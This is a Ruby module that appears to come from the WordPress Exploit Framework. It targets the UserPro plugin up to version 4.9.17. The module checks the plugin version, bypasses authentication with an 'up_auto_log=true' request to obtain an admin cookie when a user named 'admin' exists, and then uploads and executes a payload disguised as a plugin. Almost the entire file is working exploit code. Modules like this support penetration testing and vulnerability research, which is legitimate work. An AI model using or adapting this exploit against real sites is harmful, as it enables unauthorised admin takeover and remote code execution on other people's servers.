# frozen_string_literal: true

class Wpxf::Exploit::UserProShellUpload < Wpxf::Module
  include Wpxf::WordPress::Login
  include Wpxf::WordPress::Plugin
  include Wpxf::Utility

  def initialize
    super

    update_info(
      name: 'UserPro <= 4.9.17 Shell Upload',
      desc: %(
        Prior to version 4.9.17.1, the UserPro plugin is vulnerable to
        an authentication bypass if a user named "admin" exists. Using
        this vulnerability, this module gains admin rights and uploads
        a payload to the target in the form of a plugin.
      ),
      author: [
        'Colette Chamberland', # Disclosure
        'Iain Hadgraft',       # Disclosure
        'rastating'            # WPXF Module
      ],
      date: 'Nov 11 2017'
    )
  end

  def check
    changelog = normalize_uri(wordpress_url_plugins, 'userpro', 'changelog.txt')
    regex = /Version\s+([\d\.]+)\s+/
    check_version_from_custom_file(changelog, regex, '4.9.17.1')
  end

  def fetch_admin_cookie
    res = execute_get_request(
      url: full_uri,
      params: {
        'up_auto_log' => 'true'
      }
    )

    return nil unless valid_wordpress_cookie?(res.cookies.to_s)

    res.cookies.each do |k, v|
      return nil if k =~ /^wordpress.*/ && v == 'deleted'
    end

    res.cookies
  end

  def run
    return false unless super

    emit_info 'Acquiring admin cookie...'
    cookie = fetch_admin_cookie
    if cookie.nil?
      emit_error 'Failed to acquire an admin cookie. A user named "admin" may not exist.'
      return false
    end

    emit_info 'Uploading payload...'
    res = upload_payload_as_plugin_and_execute(
      Text.rand_alpha(10),
      Text.rand_alpha(10),
      cookie
    )

    !res.nil?
  end
end
